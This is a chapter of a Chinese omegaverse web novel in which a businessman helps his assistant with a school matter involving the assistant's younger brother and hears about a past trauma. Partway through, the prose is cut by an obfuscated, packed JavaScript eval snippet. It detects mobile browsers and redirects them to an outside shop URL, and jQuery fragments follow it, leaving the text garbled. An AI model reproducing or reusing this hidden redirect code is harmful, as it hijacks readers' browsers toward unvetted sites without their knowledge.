文趣网 > 其他小说 > 小可怜勾上冷脸顶A后 > 22. 第 22 章
    严昭远看着餐桌那头的祝予安,又是一副求人模样。

    他能看得出,祝予安又是在装。祝予安擅长把一分可怜演出八分来,可或许是那八分假中的一份真起了效果,严昭远心里起了一种轻微的酸胀。

    自己的助理就是自己人,而且还是一个喜欢他的人,有什么理由不帮一下呢。

    就算回头拒绝了,有这一分情面在也不至于看起来过于绝情。

    “好。”严昭远答应下来,“让温莱不去联系监护人应该不是难事。不过你现在总该告诉我到底是出了什么事吧,我总不好让副校长无限包容。”

    严昭远已经准备好听到什么逃学、打架、谈恋爱的混乱故事,却只听见祝予安很轻很轻地说了三个字:“抑制剂。”

    祝予安说:“我弟弟把不合适对方体质的抑制剂借给别人了,对方家长心里着急,就闹大了。”

    说完,祝予安的目光长久地落在杯沿,神情中飘忽着一种不安。

    严昭远没想到是这样的事,听起来实在很小。

    费了些功夫才能想象出来,如果是他当年遇到这种事,温莱公学又会如何对他。

    他不知道祝予安的说辞里有多少春秋笔法,单从后果来看,既然没有开除,就说明事情不大。

    如果这场小事故既非故意、又无后果,放在当年温莱是不可能坚持要找家长过来的,毕竟当年的老师都知道严绍庭不爱管他。

    “生活老师呢?没有抑制剂不应该找生活老师要吗?”严昭远神色发沉,已经站了祝予安这边,“既然那位同学连抑制剂都要打专用的,就该自己带。”

    祝予安摇了摇头,“调不到监控,我不知道。”

    严昭远很短促地笑了一声,眼底没什么温度,“几十万学费一年的学校,监控调不出来?那下午就正好可以问问邵副校了。”

    祝予安赶忙去拦:“不调也没事,事情很清晰。我和弟弟家境一般,还是个Beta,对方家长觉得我们带的抑制剂有问题也很正常。”

    “他是Beta?”严昭远也惊讶,“Beta为什么要带抑制剂?”

    祝予安的长睫垂下,像在躲人。

    严昭远盯着祝予安,声音冷下去:“既然你想要我帮忙,那就要全部说明白。”

    祝予安听到忽然严厉的话语,抬起头来,黑沉沉的眼睛里又踌躇着滚过许多思量,终于吐出两个字:“……我怕。”

    “怕什么?”

    “怕他和我一样。”祝予安的声音发哑,“我以前是个Beta,高中二次分化的时候,正好是学校午休。”

    严昭远定住了。

    猜想故事的后续发展实在很容易。稀有性别并不是有钱人的专属,再普通的高中也会有一些Alpha学生,把一个发/情期的Omega放在这些人里,只可能是恐怖故事。

    严昭远没再问了。

    他也知道祝予安在扮可怜,甚至抑制剂这个话头也可能是祝予安主动抛的,但他生不起气来,只为祝予安手中只有那么一点筹码而同情。

    后来呢,高中时的祝予安安全了没有?

    严昭远杯中的鸳鸯奶茶逐渐降温,难以入口。

    祝予安在片刻的沉默后深深呼吸,吐出了后来的故事。

    高中时的祝予安藏到了卫生间隔间里。

    当年高中设施不算太差,隔间三面是砖墙,唯一的弱点只有木质的隔间门。

    只是门太薄了,锁也形同虚设。祝予安用整个身体的重量抵住门仍然不够,只能背靠着门、伸着腿撑住后方的墙壁死顶。

    外头的声音劝他出来,也有人说污言秽语,最后是Alpha们先斗红了眼,才停止了撞门。

    救护车一共拉走了四个人,还有几位轻伤可以自行就医,事情闹得太大,祝予安的家长也自然知晓。

    “然后。”祝予安说完这两个字停顿了好一会儿,嗓音里的哽咽也被压下去了。

    祝予安平静道:“后面的事,就和我弟弟带抑制剂没有关系了。我知道Beta二次分化这种事概率很小,但我真的很怕。”

    严昭远望着祝予安发红的鼻尖,发觉说到后面这些事,祝予安反而一滴眼泪都没掉。

    没有眼泪了,严昭远反而不怀疑祝予安在说假话,只因祝予安整个人看起来空空的,像是一碰里头就会传来回响。

    “如果难受可以哭,这里有屏风,不会有人看见。”严昭远把手帕推到祝予安手边,“午休也还有很长,到下午眼睛也会消肿。”

    “都过去了。”祝予安摇了摇头,把手帕递回严昭远那边,又恢复了平时那种温和的笑,只不过看起来更脆弱几分,“是因为您在听,所以我才……算了。”

    最后这句,又是几分真、几分假呢?

    严昭远直觉这句话只能信三分,细细一想又觉得信七分也未尝不可。

    严昭远索性不管了。祝予安的生活方式如此,心不坏,话里也至少有一点真的东西,想必是祝予安真的很喜欢他,所以才把这种模样给他看。

    一时间严昭远很有伸手去抱祝予安的冲动。

    无关乎情爱,严昭远如此对自己说,只是做人应该对别人有一些基本的同情。

    是互助会式的拥抱罢了,严昭远对自己再次重申道。

    “需要抱抱你吗?”严昭远的想法在他还没整理好措辞之前就脱口而出。

    话说出去就收不回来,严昭远只能解释得很含糊,“也是温莱公学传统的一种。”

    “可以吗。”祝予安抬起头,眼底铺着一层又透又亮的东西。

    严昭远仔细分辨后才发现,那是一层很浅很浅的泪花。

    “当然,”严昭远站起身,走到祝予安那侧,张开手臂。

    祝予安伸手的时候好像很紧张,手臂虚空扣着,说是拥抱,动作却很轻,严昭远几乎没有感觉。

    这又算哪门子拥抱。

    严昭远的手掌贴在祝予安背后,轻轻拍了拍,“你当年很辛苦,所以你不想让弟弟辛苦,没有什么不对。”

    他怀里的祝予安怔了半晌,才敢用力抱住。

    严昭远轻轻拍着他的背,垂眸就可见一片乌黑柔软的头发,只要一抬手他就可以摸摸祝予安的头,但这就有点太过暧昧,他还不想给祝予安这种错觉。

    毕竟他不喜欢祝予安,就不该给人带来误会。

    祝予安是他未来弟弟或者妹妹的母亲,他也不能喜欢祝予安。

    等菜上齐,两人都吃得很少。

    祝予安吃到最后一份羹点,勺子几次拿起又放下,只勉强吃了几口。

    严昭远想着,或许是饭菜不合胃口。

    离开文华阁前,祝予安又抬手叫服务员,点了一分虾饺。严昭远以为他终于想吃点东西,却听见祝予安说打包。

    这分虾饺被祝予安送到了温莱公学的学生宿舍楼。

    二人在温莱公学闲逛了一中午,冬日的正午阳光也不晒人,只给人一种懒洋洋的松弛感。

    学校草坪上有学生用书盖着脸,躺着小憩。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787806|210225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    两个人最后逛到艺术楼,在琴房学生的练琴声里,把展示着学生作品的长廊当作艺术展来逛。

    两点钟,那种温莱公学十几年未变的钟声准时响起,严昭远也去了副校长办公室。

    “邵老师。”严昭远推门便笑,还是那副混气。

    邵副校听到这声音忽地站起来:“严……”

    然而就在他把老花镜戴到脸上、看清来人后,那种见到熟人的惊喜又很快平静下去,改口道:“严总。”

    办公室的门被从里面合上前,严昭远朝祝予安眨了下眼睛。

    许是高中糗事太多,严昭远不让他进去,祝予安

    只能在办公室外等。

    他刚才被找家长时不觉得,现在等着站着等倒有些紧张了。

    副校长似乎对严昭远当年的混颇有印象,现在严昭远说话还有份量吗?云廷集团的捐助是不是真能算在严昭远面上?如果说不动怎么办?以后还要找家长来,总会惹出麻烦。

    胡思乱想间,办公室的门又打开,严昭远扶着门喊他,“进来。”

    祝予安低着头,小鸡崽子一样进了办公室。

    祝予安学生时代一直是个好学生,办公室对他从不是什么可怕的地方,现在毕业了,反倒紧张起来。

    邵副校长朝他和蔼一笑,“严董交代对祝予宁同学要多照顾些,我们当然记得,祝予宁的联系人以后也只会是您。”

    祝予安脸上光亮起来,正要道谢,就见副校长把屏幕转过来,几位生活老师的资料就在屏幕上。

    副校长:“请您进来是想让您挑一下,您想要为予宁同学换哪位生活老师呢?”

    “这次的事情生活老师是在推脱责任,这种事在温莱公学这样的事绝不应该发生,我们会对相应老师做开除处理。”

    祝予安一时发懵,他只是想让严昭远帮他拦着、别去联系父母,没想到严昭远竟帮他解决了别的问题。

    他朝严昭远看去,就见严昭远也在看着他。

    对视间,严昭远弯了下唇,下巴朝邵副校长那儿扬了扬。祝予安赶忙回去看屏幕。

    祝予安最后为弟弟选了一位稍显严厉的老师,祝予宁把自己的生活过得乱糟糟,据说温莱的健康餐又难吃,如果没人管着,祝予宁还不知道要赖掉多少顿饭、只吃小零食。

    临出学校前,祝予安又朝学校里看了一眼。

    正好又遇见下课,学生们抱着笔记本电脑和课本匆忙赶去下一个教室,一个个青春年少的影子穿过祝予安身边。

    他本也没报什么希望,可是就像某种奇异的巧合,他在人群里看见了祝予宁。

    祝予宁被某个很高的男学生勾着肩膀,祝予宁人又瘦瘦的,一下被压得更矮。

    万一那个学生是个Alpha呢?

    祝予安一下急起来,想上去问问,又觉得祝予宁就快成年、不能这么管。他最终只给祝予宁发去一串信息:学校里有事就跟哥哥说,不要怕麻烦。

    严昭远站在祝予安背后不远,也看见了祝予安那几步的踉跄,顺着方向看过去,却也不知道祝予安在看什么。

    大概这一堆黑压压的冬季制服里,有一身属于祝予安的弟弟。

    祝予安是个很好的、很会照顾人的哥哥,祝予安自己却没人照顾。

    严昭远这次抱祝予安时体会得更明显,祝予安简直是要瘦没了。

    严昭远无端想起了另一个人。

    “走吧,”严昭远轻轻拍了拍祝予安的肩,“今天再去个地方。”